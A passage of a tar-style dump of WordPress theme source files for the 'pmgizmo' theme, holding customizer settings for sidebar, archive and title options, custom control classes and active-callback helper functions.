            'label'    => __( 'Tabbed Widget Header Font Size', 'pmthemes' ),
            'section'  => 'pmthemes_section_sidebar',
            'settings' => 'pmthemes_theme_options[tabbed_font_size]',
            'active_callback' => 'pmthemes_tabbed_content_active',
            'active_callback' => 'pmthemes_tabbed_content_active',
            'min' => 0.50,
            'max' => 1.75,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
    // Tabbed Widget Header Padding
    $wp_customize->add_setting( 'pmthemes_theme_options[side_tabbed_padding]', array(
            'default'           => $theme_def['side_tabbed_padding'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_side_tabbed_padding', array(
            'label'    => __( 'Tabbed Widget Header Padding', 'pmthemes' ),
            'section'  => 'pmthemes_section_sidebar',
            'settings' => 'pmthemes_theme_options[side_tabbed_padding]',
            'active_callback' => 'pmthemes_tabbed_content_active',
            'active_callback' => 'pmthemes_tabbed_content_active',
            'min' => 0.15,
            'max' => 1.5,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
}pmgizmo/inc/customizer/sections/customizer-archive.php000064400000025422152223213640017373 0ustar00<?php
/**
 * Register Archive Settings section, settings and controls for Theme Customizer
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Post Settings
add_action( 'customize_register', 'pmthemes_customize_register_archive_settings' );
function pmthemes_customize_register_archive_settings( $wp_customize ) {
    // Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
    // Add Sections for Archive Settings
    $wp_customize->add_section( 'pmthemes_section_archives', array(
            'title'    => __( 'Archive Settings', 'pmthemes' ),
            'description' => __( 'To view live changes, please navigate to any archive pages (i.e. Category page, Tag page).', 'pmthemes' ),
            'priority' => 9,
            'panel' => 'pmthemes_options_panel'
        )
    );

    // Post Length on archives
    $wp_customize->add_setting( 'pmthemes_theme_options[posts_length]', array(
            'default'           => $theme_def['posts_length'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_post_length'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_posts_length', array(
            'label'    => __( 'Post Length on Archives', 'pmthemes' ),
            'section'  => 'pmthemes_section_archives',
            'settings' => 'pmthemes_theme_options[posts_length]',
            'type'     => 'select',
            'choices'  => array(
                'excerpt' => __( 'Show post excerpt', 'pmthemes' ),
                'fullpost' => __( 'Show full post', 'pmthemes' ),
            )
        )
    );
    // Excerpt Length on archives
    $wp_customize->add_setting( 'pmthemes_theme_options[arch_excerpt_length]', array(
            'default'           => $theme_def['arch_excerpt_length'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_number'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_arch_excerpt_length', array(
            'label'    => __( 'Excerpt Length', 'pmthemes' ),
            'section'  => 'pmthemes_section_archives',
            'settings' => 'pmthemes_theme_options[arch_excerpt_length]',
            'active_callback' =>'pmthemes_archive_excerpt_length',
            'type'     => 'text',
        )
    );
    // Read More Label
    $wp_customize->add_setting( 'pmthemes_theme_options[excerpt_text]', array(
            'default'           => $theme_def['excerpt_text'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_read_text'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_excerpt_text', array(
            'label'    => __( 'Read More Label', 'pmthemes' ),
            'section'  => 'pmthemes_section_archives',
            'settings' => 'pmthemes_theme_options[excerpt_text]',
            'active_callback' =>'pmthemes_archive_excerpt_length',
            'type'     => 'text',
        )
    );
    // Archive Page Layout
    $wp_customize->add_setting( 'pmthemes_theme_options[archive_lyt_header]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_archive_layout', array(
                'label' => __( 'Archive Page Layout', 'pmthemes' ),
                'section' => 'pmthemes_section_archives',
                'settings' => 'pmthemes_theme_options[archive_lyt_header]',
            )
        )
    );
    // Display Full Width
    $wp_customize->add_setting( 'pmthemes_theme_options[pmthemes_display_fullw]', array(
            'default'           => $theme_def['pmthemes_display_fullw'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_archive_display_fullw', array(
            'label'    => __( 'Display Full Width?', 'pmthemes' ),
            'description'  => __( 'Set to full page and hide sidebar.', 'pmthemes' ),
            'section'  => 'pmthemes_section_archives',
            'settings' => 'pmthemes_theme_options[pmthemes_display_fullw]',
            'type'     => 'checkbox',
        )
    );
    // Align Archive Title
    $wp_customize->add_setting( 'pmthemes_theme_options[pmth_arc_align_header]', array(
            'default'           => $theme_def['pmth_arc_align_header'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_align_elements'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_archive_center_header', array(
            'label'    => __( 'Archive Title Alignment', 'pmthemes' ),
            'section'  => 'pmthemes_section_archives',
            'settings' => 'pmthemes_theme_options[pmth_arc_align_header]',
            'type' => 'select',
            'choices' => pmthemes_align_elements(),
        )
    );
    // Grid Column Option
    $wp_customize->add_setting( 'pmthemes_theme_options[pmth_grid_col_opt]', array(
            'default'           => $theme_def['pmth_grid_col_opt'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_grid_col_opt'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_grid_col_opt', array(
            'label'    => __( 'Grid Column Option', 'pmthemes' ),
            'section'  => 'pmthemes_section_archives',
            'settings' => 'pmthemes_theme_options[pmth_grid_col_opt]',
            'type'     => 'select',
            'choices'  => array(
                'pmth-grid-itmw' => __( 'Item Width', 'pmthemes' ),
                'pmth-grid-coln' => __( 'Column No.', 'pmthemes' ),
            )
        )
    );
    // Grid Item With
    $wp_customize->add_setting( 'pmthemes_theme_options[pmth_grid_width]', array(
            'default'           => $theme_def['pmth_grid_width'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_pmth_grid_width'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_pmth_grid_width', array(
            'label'    => __( 'Grid Item With', 'pmthemes' ),
            'description' => __( 'Set Width for each item on the grid.', 'pmthemes' ),
            'section'  => 'pmthemes_section_archives',
            'settings' => 'pmthemes_theme_options[pmth_grid_width]',
            'active_callback' =>'pmthemes_pmth_grid_itemw_active',
            'type' => 'select',
            'choices' => pmthemes_grid_widths(),
        )
    );
    // Grid No. of Columns
    $wp_customize->add_setting( 'pmthemes_theme_options[pmth_grid_column]', array(
            'default'           => $theme_def['pmth_grid_column'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_pmth_grid_column'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_pmth_grid_column', array(
            'label'    => __( 'No. of Columns', 'pmthemes' ),
            'section'  => 'pmthemes_section_archives',
            'settings' => 'pmthemes_theme_options[pmth_grid_column]',
            'active_callback' =>'pmthemes_pmth_grid_coln_active',
            'type' => 'select',
            'choices' => pmthemes_grid_columns(),
        )
    );
    // Archive Featured Images
    $wp_customize->add_setting( 'pmthemes_theme_options[archive_featimg_header]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_archive_images', array(
                'label' => __( 'Archive Featured Images', 'pmthemes' ),
                'section' => 'pmthemes_section_archives',
                'settings' => 'pmthemes_theme_options[archive_featimg_header]',
            )
        )
    );
    // Display featured images
    $wp_customize->add_setting( 'pmthemes_theme_options[post_thumbnails_index]', array(
            'default'           => $theme_def['post_thumbnails_index'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_posts_thumbnails_index', array(
            'label'    => __( 'Display featured images', 'pmthemes' ),
            'section'  => 'pmthemes_section_archives',
            'settings' => 'pmthemes_theme_options[post_thumbnails_index]',
            'type'     => 'checkbox',
        )
    );
    // Archive Image Size
    $wp_customize->add_setting( 'pmthemes_theme_options[pmth_arc_img_size]', array(
            'default'           => $theme_def['pmth_arc_img_size'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_image_size'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_arc_img_size', array(
            'label'    => __( 'Featured Image Size', 'pmthemes' ),
            'section'  => 'pmthemes_section_archives',
            'settings' => 'pmthemes_theme_options[pmth_arc_img_size]',
            'active_callback' =>'pmthemes_archive_images_active',
            'type' => 'select',
            'choices'  => array(
                'pmth-img-thumb' => __( 'Thumbnail', 'pmthemes' ),
                'pmth-img-large' => __( 'Large Size', 'pmthemes' ),
            )
        )
    );
    // Archive Image Alignment
    $wp_customize->add_setting( 'pmthemes_theme_options[pmth_arc_align_img]', array(
            'default'           => $theme_def['pmth_arc_align_img'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_align_images'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_arc_align_img', array(
            'label'    => __( 'Featured Image Alignment', 'pmthemes' ),
            'section'  => 'pmthemes_section_archives',
            'settings' => 'pmthemes_theme_options[pmth_arc_align_img]',
            'active_callback' =>'pmthemes_archive_images_active',
            'type' => 'select',
            'choices' => pmthemes_align_images(),
        )
    );
}pmgizmo/inc/customizer/sections/customizer-title.php000064400000013727152223213640017100 0ustar00<?php
/**
 * Register Title Content section, settings and controls for Theme Customizer
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Title/Logo Settings
add_action( 'customize_register', 'pmthemes_customize_register_title_settings' );
function pmthemes_customize_register_title_settings( $wp_customize ) {
    // Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
    // Add Upload logo image setting
    $wp_customize->add_setting( 'pmthemes_theme_options[header_logo]', array(
            'default'           => '',
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'esc_url'
        )
    );
    $wp_customize->add_control( new WP_Customize_Image_Control(
            $wp_customize, 'pmthemes_control_header_logo', array(
                'label'    => __( 'Logo Image', 'pmthemes' ),
                'section'  => 'title_tagline',
                'settings' => 'pmthemes_theme_options[header_logo]',
                'priority' => 2,
            )
        )
    );
    // Add Header Tagline option
    $wp_customize->add_setting( 'pmthemes_theme_options[header_tagline]', array(
            'default'           => $theme_def['header_tagline'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_header_tagline', array(
            'label'    => __( 'Display tagline below site title', 'pmthemes' ),
            'section'  => 'title_tagline',
            'settings' => 'pmthemes_theme_options[header_tagline]',
            'type'     => 'checkbox',
            'priority' => 10,
        )
    );
    // Title Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[title_font_size]' , array(
            'default'           => '50',
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_number'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_title_font_size', array(
            'label'    => __( 'Title Font Size', 'pmthemes' ),
            'section'  => 'title_tagline',
            'settings' => 'pmthemes_theme_options[title_font_size]',
            'active_callback' => 'pmthemes_check_header_logo',
            'priority' => 17,
            'min' => 25,
            'max' => 150,
            'step' => 1,
            'unit' => 'px',
        ) )
    );
    // Font Size if Mobile
    $wp_customize->add_setting( 'pmthemes_theme_options[title_font_size_mobile]' , array(
            'default'           => '30',
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_number'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_title_font_size_mobile', array(
            'label'    => __( 'Font Size if Mobile', 'pmthemes' ),
            'section'  => 'title_tagline',
            'settings' => 'pmthemes_theme_options[title_font_size_mobile]',
            'active_callback' => 'pmthemes_check_header_logo',
            'priority' => 18,
            'min' => 15,
            'max' => 50,
            'step' => 1,
            'unit' => 'px',
        ) )
    );
    // Title Font Spacing
    $wp_customize->add_setting( 'pmthemes_theme_options[title_font_space]', array(
            'default'           => '3',
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_number'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_title_font_space', array(
            'label'    => __( 'Title Font Spacing', 'pmthemes' ),
            'section'  => 'title_tagline',
            'settings' => 'pmthemes_theme_options[title_font_space]',
            'active_callback' => 'pmthemes_check_header_logo',
            'priority' => 19,
            'min' => 0,
            'max' => 15,
            'step' => 1,
            'unit' => 'px',
        ))
    );
    // Description Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[title_describe_size]' , array(
            'default'           => '12',
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_number'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_title_describe_size', array(
            'label'    => __( 'Tagline Font Size', 'pmthemes' ),
            'section'  => 'title_tagline',
            'settings' => 'pmthemes_theme_options[title_describe_size]',
            'active_callback' => 'pmthemes_site_tagline_active',
            'priority' => 20,
            'min' => 10,
            'max' => 75,
            'step' => 1,
            'unit' => 'px',
        ) )
    );
    // Logo & Banner Balance
    $wp_customize->add_setting( 'pmthemes_theme_options[logo_title_width]', array(
            'default'           => $theme_def['logo_title_width'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_number'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_logo_title_width', array(
            'label'    => __( 'Logo & Banner Balance', 'pmthemes' ),
            'section'  => 'title_tagline',
            'settings' => 'pmthemes_theme_options[logo_title_width]',
            'priority' => 21,
            'min' => 5,
            'max' => 90,
            'step' => 0.5,
            'unit' => '%',
        ))
    );
}pmgizmo/inc/customizer/functions/custom-controls.php000064400000035202152223213640017101 0ustar00<?php
/** Theme Customizer Functions */
if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

/*========================== CUSTOMIZER CONTROLS FUNCTIONS ==========================*/
// Add simple heading option to the theme customizer
if ( class_exists( 'WP_Customize_Control' ) ) :
    class Pmthemes_Customize_Header_Control extends WP_Customize_Control {
        public function render_content() {  ?>
			<label>
				<span class="customize-control-title"><?php echo wp_kses_post( $this->label ); ?></span>
			</label>
            <?php if ( ! empty( $this->description ) ) : ?>
            <span class="description customize-control-description"><?php echo $this->description; ?></span>
            <?php endif; ?>
<?php
        }
    }
	class Pmthemes_Customize_Description_Control extends WP_Customize_Control {
        public function render_content() {  ?>
			<span class="description"><?php echo wp_kses_post( $this->label ); ?></span>	
<?php
        }
    }
	class Pmthemes_Customize_Text_Control extends WP_Customize_Control {
        public function render_content() {  ?>
			<span class="textfield"><?php echo esc_html( $this->label ); ?></span>
<?php
        }
    }
	class Pmthemes_Customize_Font_List_Control extends WP_Customize_Control {
		// critical for JS constructor
		public $type = 'pmthemes_custom_font_list';
		public $l10n = array();
		public function __construct($manager, $id, $args = array(), $options = array()) {
			// Make Buttons translateable
			$this->l10n = array(
				'update' =>	__( 'Update Fonts', 'pmthemes' )
			);
			parent::__construct( $manager, $id, $args );	
		}
		public function enqueue() {
			// Register and Enqueue Custom Font JS Constructor
			wp_enqueue_script( 'pmthemes-custom-font-control', get_template_directory_uri() . '/inc/customizer/assets/js/custom-font-control.js', array( 'customize-controls' ), '20150422', true );
		}
		public function render_content() {
			if ( empty( $this->choices ) )
				return;
			// Create Data Attributes with font lists
			$default = json_encode(Pmthemes_Custom_Font_Lists::get_fonts('default'));
			$favorite = json_encode(Pmthemes_Custom_Font_Lists::get_fonts('favorite'));
			$popular = json_encode(Pmthemes_Custom_Font_Lists::get_fonts('popular'));
			$all = json_encode(Pmthemes_Custom_Font_Lists::get_fonts('all'));
			$l10n = json_encode( $this->l10n );
			?>
			<label>
				<?php if ( ! empty( $this->label ) ) : ?>
					<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
				<?php endif;
				if ( ! empty( $this->description ) ) : ?>
					<span class="description customize-control-description"><?php echo $this->description; ?></span>
				<?php endif; ?>

				<select <?php $this->link(); ?>>
					<?php
					foreach ( $this->choices as $value => $label )
						echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . $label . '</option>';
					?>
				</select>
				<div class="actions"></div>
				<div class="custom-font-lists" data-l10n="<?php echo esc_attr( $l10n ); ?>" data-standard="<?php echo esc_attr( $default ); ?>" data-favorite="<?php echo esc_attr( $favorite ); ?>" data-popular="<?php echo esc_attr( $popular ); ?>" data-all="<?php echo esc_attr( $all ); ?>"></div>
				<div class="debugging"></div>
			</label>
			
		<?php
		}
	}
	class Pmthemes_Customize_Font_Control extends WP_Customize_Control {
		private $fonts = false;
		public $l10n = array();
		// critical for JS constructor
		public $type = 'pmthemes_custom_font';
		public function __construct($manager, $id, $args = array(), $options = array()) {
			// Make Buttons translateable
			$this->l10n = array(
				'previous' =>	__( 'Previous Font', 'pmthemes' ),
				'next' =>		__( 'Next Font', 'pmthemes' ),
				'standard' =>	__( 'Default', 'pmthemes' )
			);		
			// Get Theme Options
			$theme_options = pmthemes_theme_options();
			// Set Fonts
			$this->fonts = Pmthemes_Custom_Font_Lists::get_fonts($theme_options['available_fonts']);
			parent::__construct( $manager, $id, $args );
		}
		public function enqueue() {
			// Register and Enqueue Custom Font JS Constructor
			wp_enqueue_script( 'pmthemes-custom-font-control', get_template_directory_uri() . '/inc/customizer/assets/js/custom-font-control.js', array( 'customize-controls' ), '20150422', true );
		}
		public function render_content() {
			$l10n = json_encode( $this->l10n );
			if( !empty($this->fonts) ) :
            ?>
                <label>
                    <span class="customize-control-title" data-l10n="<?php echo esc_attr( $l10n ); ?>" data-font="<?php echo esc_attr( $this->setting->default ); ?>">
						<?php echo esc_html( $this->label ); ?>
					</span>
					<div class="customize-font-select-control">
						<select <?php $this->link(); ?>>
							<?php
								foreach ( $this->fonts as $k => $v )
								{
									printf('<option value="%s" %s>%s</option>', $k, selected($this->value(), $k, false), $v);
								}
							?>
						</select>
					</div>
					<div class="actions"></div>
				</label>
                
            <?php
			endif;
		}
	}
    // Slider
    class WP_Customize_Range extends WP_Customize_Control {
        public $type = 'pmthemes-range';
        public function __construct( $manager, $id, $args = array() ) {
            parent::__construct( $manager, $id, $args );
            $defaults = array(
                'min' => 0,
                'max' => 100,
                'step' => 1
            );
            $args = wp_parse_args( $args, $defaults );
            $this->min = $args['min'];
            $this->max = $args['max'];
            $this->step = $args['step'];
            $this->unit = $args['unit'];
        }
        public function enqueue() {
            wp_enqueue_script( 'pmthemes-range', PMTHEMES_URI . '/inc/customizer/assets/js/ranger.js', array( 'jquery', 'customize-base', 'jquery-ui-slider' ), false, true );
            wp_enqueue_style( 'pmthemes-range', PMTHEMES_URI . '/inc/customizer/assets/css/ranger.css', null );
        }

        public function render_content() {
            ?>
            <label>
                <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
                <?php if ( ! empty( $this->description ) ) : ?>
                    <span class="description customize-control-description"><?php echo $this->description; ?></span>
                <?php endif; ?>
                <span class="pmthemes-reset-slider"><span class="dashicons dashicons-image-rotate"></span></span>
                <div class="control-wrap">
                    <input type='range' min="<?php echo $this->min ?>" max="<?php echo $this->max ?>" step="<?php echo $this->step ?>" value="<?php echo esc_attr( $this->value() ); ?>" <?php $this->link(); ?> data-reset_value="<?php echo esc_attr( $this->settings['default']->default ); ?>" oninput="jQuery(this).next('input').val( jQuery(this).val() )">
                    <input onKeyUp="jQuery(this).prev('input').val( jQuery(this).val() )" type='number' min="<?php echo $this->min ?>" max="<?php echo $this->max ?>" step="<?php echo $this->step ?>" class="pmthemes-range-input"  value='<?php echo esc_attr( $this->value() ); ?>'><span class="unit"><?php echo $this->unit ?></span>
                </div>
            </label>
            <?php
        }

    }

    // Toggle
    class Pmthemes_Control_Toggle extends WP_Customize_Control {
        public $type = 'control_section_toggle';
        public $targets = '';

        public function enqueue() {
            wp_enqueue_script( 'pmthemes-control-target', PMTHEMES_URI . '/inc/customizer/assets/js/toggle.js', array( 'jquery', 'customize-base' ), false, true );
        }

        public function to_json() {
            parent::to_json();

            $this->json[ 'targets' ] = $this->targets;

        }
        public function content_template() {
            ?>
            <div class="pmthemes-control-toggles">
                <# jQuery.each( data.targets, function( index, value ) { #>
                <button data-target="{{ index }}">{{ value }}</button>
                <# } ); #>
            </div>
            <?php
        }
    }

    // Spacing
    class Pmthemes_Spacing_Control extends WP_Customize_Control {

        public $type = 'pmthemes-spacing';

        public $l10n = array();

        public $element = '';

        public function __construct( $manager, $id, $args = array() ) {
            // Let the parent class do its thing.
            parent::__construct( $manager, $id, $args );
            // Make sure we have labels.
            $this->l10n = wp_parse_args(
                $this->l10n,
                array(
                    'top'            => esc_html__( 'Top', 'pmthemes' ),
                    'right'          => esc_html__( 'Right',   'pmthemes' ),
                    'bottom'         => esc_html__( 'Bottom', 'pmthemes' ),
                    'left'           => esc_html__( 'Left',  'pmthemes' )
                )
            );
        }

        public function enqueue() {
            wp_enqueue_script( 'pmthemes-spacing-customizer', PMTHEMES_URI . '/inc/customizer/assets/js/spacing.js', array( 'jquery', 'customize-controls' ), false, true );
        }

        public function to_json() {
            parent::to_json();
            // Loop through each of the settings and set up the data for it.
            foreach ( $this->settings as $setting_key => $setting_id ) {
                $this->json[ $setting_key ] = array(
                    'link'  => $this->get_link( $setting_key ),
                    'value' => $this->value( $setting_key ),
                    'label' => isset( $this->l10n[ $setting_key ] ) ? $this->l10n[ $setting_key ] : ''
                );
            }

            $this->json[ 'element' ] = $this->element;
            $this->json[ 'title' ] = __( 'Link values','pmthemes' );
            $this->json[ 'unlink_title' ] = __( 'Un-link values','pmthemes' );
        }

        public function content_template() {
            ?>
            <# if ( data.label ) { #>
            <label for="{{{ data.element }}}-{{{ data.top.label }}}">
                <span class="customize-control-title">{{ data.label }}</span>
            </label>
            <# } #>

            <# if ( data.description ) { #>
            <span class="description customize-control-description">{{{ data.description }}}</span>
            <# } #>

            <div class="pmniches-spacing-section">
                <input id="{{{ data.element }}}-{{{ data.top.label }}}" min="0" class="pmthemes-number-control spacing-top" type="number" style="text-align: center;" {{{ data.top.link }}} value="{{{ data.top.value }}}" />
                <# if ( data.top.label ) { #>
                <span class="description" style="font-style:normal;">{{ data.top.label }}</span>
                <# } #>
            </div>

            <div class="pmniches-spacing-section">
                <input min="0" class="pmthemes-number-control spacing-right" type="number" style="text-align: center;" {{{ data.right.link }}} value="{{{ data.right.value }}}" />
                <# if ( data.right.label ) { #>
                <span class="description" style="font-style:normal;">{{ data.right.label }}</span>
                <# } #>
            </div>

            <div class="pmniches-spacing-section">
                <input min="0" class="pmthemes-number-control spacing-bottom" type="number" style="text-align: center;" {{{ data.bottom.link }}} value="{{{ data.bottom.value }}}" />
                <# if ( data.bottom.label ) { #>
                <span class="description" style="font-style:normal;">{{ data.bottom.label }}</span>
                <# } #>
            </div>

            <div class="pmniches-spacing-section">
                <input min="0" class="pmthemes-number-control spacing-left" type="number" style="text-align: center;" {{{ data.left.link }}} value="{{{ data.left.value }}}" />
                <# if ( data.left.label ) { #>
                <span class="description" style="font-style:normal;">{{ data.left.label }}</span>
                <# } #>
            </div>

            <# if ( data.element ) { #>
            <div class="pmniches-spacing-section pmniches-link-spacing-section">
                <span class="dashicons dashicons-editor-unlink pmniches-link-spacing" data-element="{{ data.element }}" title="{{ data.title }}"></span>
                <span class="dashicons dashicons-admin-links pmniches-unlink-spacing" style="display:none" data-element="{{ data.element }}" title="{{ data.unlink_title }}"></span>
            </div>
            <# } #>
            <?php
        }
    }
    // Taxonomies - for ticker bar
    class Pmthemes_Customize_Taxonomies_Control extends WP_Customize_Control {

        public $type = 'pmthemes-taxonomies';

        public $taxonomy = '';


        public function __construct( $manager, $id, $args = array() ) {

            $our_taxonomy = 'category';
            if ( isset( $args['taxonomy'] ) ) {
                $taxonomy_exist = taxonomy_exists( esc_attr( $args['taxonomy'] ) );
                if ( true === $taxonomy_exist ) {
                    $our_taxonomy = esc_attr( $args['taxonomy'] );
                }
            }
            $args['taxonomy'] = $our_taxonomy;
            $this->taxonomy = esc_attr( $our_taxonomy );

            parent::__construct( $manager, $id, $args );
        }

        public function render_content() {

            $tax_args = array(
                'hierarchical' => 0,
                'taxonomy'     => $this->taxonomy,
            );
            $all_taxonomies = get_categories( $tax_args );

            ?>
            <label>
                <span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
                <select <?php echo esc_attr( $this->link() ); ?>>
                    <?php
                    printf('<option value="%s" %s>%s</option>', '', selected($this->value(), '', false),esc_html__('Select', 'pmthemes') );
                    ?>
                    <?php if ( ! empty( $all_taxonomies ) ): ?>
                        <?php foreach ( $all_taxonomies as $key => $tax ): ?>
                            <?php
                            printf('<option value="%s" %s>%s</option>', esc_attr( $tax->term_id ), selected($this->value(), $tax->term_id, false), esc_html( $tax->name ) );
                            ?>
                        <?php endforeach ?>
                    <?php endif ?>
                </select>

            </label>
            <?php
        }
    }

endif;
?>pmgizmo/inc/customizer/functions/active-callbacks.php000064400000035641152223213640017125 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
/* Check to see if logo image is active */
if ( ! function_exists( 'pmthemes_check_header_logo' ) ) :
    function pmthemes_check_header_logo(){
        if ( ! function_exists( 'pmthemes_default_options' ) ) {
            return false;
        }
        $theme_options = get_option( 'pmthemes_theme_options', pmthemes_default_options() );
        if ( isset($theme_options['header_logo']) && $theme_options['header_logo'] <> '' ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if static front page is active */
if ( ! function_exists( 'pmthemes_static_front_page_check' ) ) :
    function pmthemes_static_front_page_check() {
        if ( get_option( 'show_on_front' ) == 'page') {
            return true;
        }
        return false;
    }
endif;
/* Check to see if top/secondary menu is active */
if ( ! function_exists( 'pmthemes_secondary_menu_active' ) ) :
    function pmthemes_secondary_menu_active() {
        if ( has_nav_menu( 'secondary' ) ) {
            return true;
        }
        return false;
    }
endif;
/* Check to see if WooCommerce class is active */
if ( ! function_exists( 'pmthemes_woocommerce_class_active' ) ) :
    function pmthemes_woocommerce_class_active() {
        if ( class_exists( 'WooCommerce' ) ) {
            return true;
        }
        return false;
    }
endif;
/* Check to see if top/secondary menu is inactive */
if ( ! function_exists( 'pmthemes_secondary_menu_inactive' ) ) :
    function pmthemes_secondary_menu_inactive() {
        if ( ! has_nav_menu( 'secondary' ) ) {
            return true;
        }
        return false;
    }
endif;
/* Check to see if Tabbed Content Widget is active */
if ( ! function_exists( 'pmthemes_tabbed_content_active' ) ) :
    function pmthemes_tabbed_content_active() {
        if ( is_active_widget(false, false, 'pmthemes_tabbed_content') ) {
            return true;
        }
        return false;
    }
endif;
/* Check to see if Header Adjustments is active - checkbox */
if ( ! function_exists( 'pmthemes_header_adjust_active' ) ) :
    function pmthemes_header_adjust_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'header_adjust' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if Header Adjustments is active - checkbox */
if ( ! function_exists( 'pmthemes_sidebar_padding_adjust_active' ) ) :
    function pmthemes_sidebar_padding_adjust_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'sidebar_padding_adjust' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if Enable FB Open Graph Meta is enabled */
if ( ! function_exists( 'pmthemes_fb_meta_graph_active' ) ) :
    function pmthemes_fb_meta_graph_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'fb_meta_graph' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if header line is active and if top nav is down */
if ( ! function_exists( 'pmthemes_header_line_active' ) ) :
    function pmthemes_header_line_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( $theme_options[ 'header_line_enable' ] == true and ( $theme_options[ 'topnav_down' ] == true)) {
            return true;
        }
        return false;
    }
endif;
/* Check to see if top navigation is down */
if ( ! function_exists( 'pmthemes_is_navi_top_down' ) ) :
    function pmthemes_is_navi_top_down() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( $theme_options[ 'topnav_down' ] ) {
            return true;
        }
        return false;
    }
endif;
/* Check to see if navigation top border is enabled */
if ( ! function_exists( 'pmthemes_navi_top_bd_clr_enabled' ) ) :
    function pmthemes_navi_top_bd_clr_enabled() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( $theme_options[ 'navi_top_bd_enb' ] ) {
            return true;
        }
        return false;
    }
endif;
/* Check to see if navigation bottom border is enabled */
if ( ! function_exists( 'pmthemes_navi_bot_bd_clr_enabled' ) ) :
    function pmthemes_navi_bot_bd_clr_enabled() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
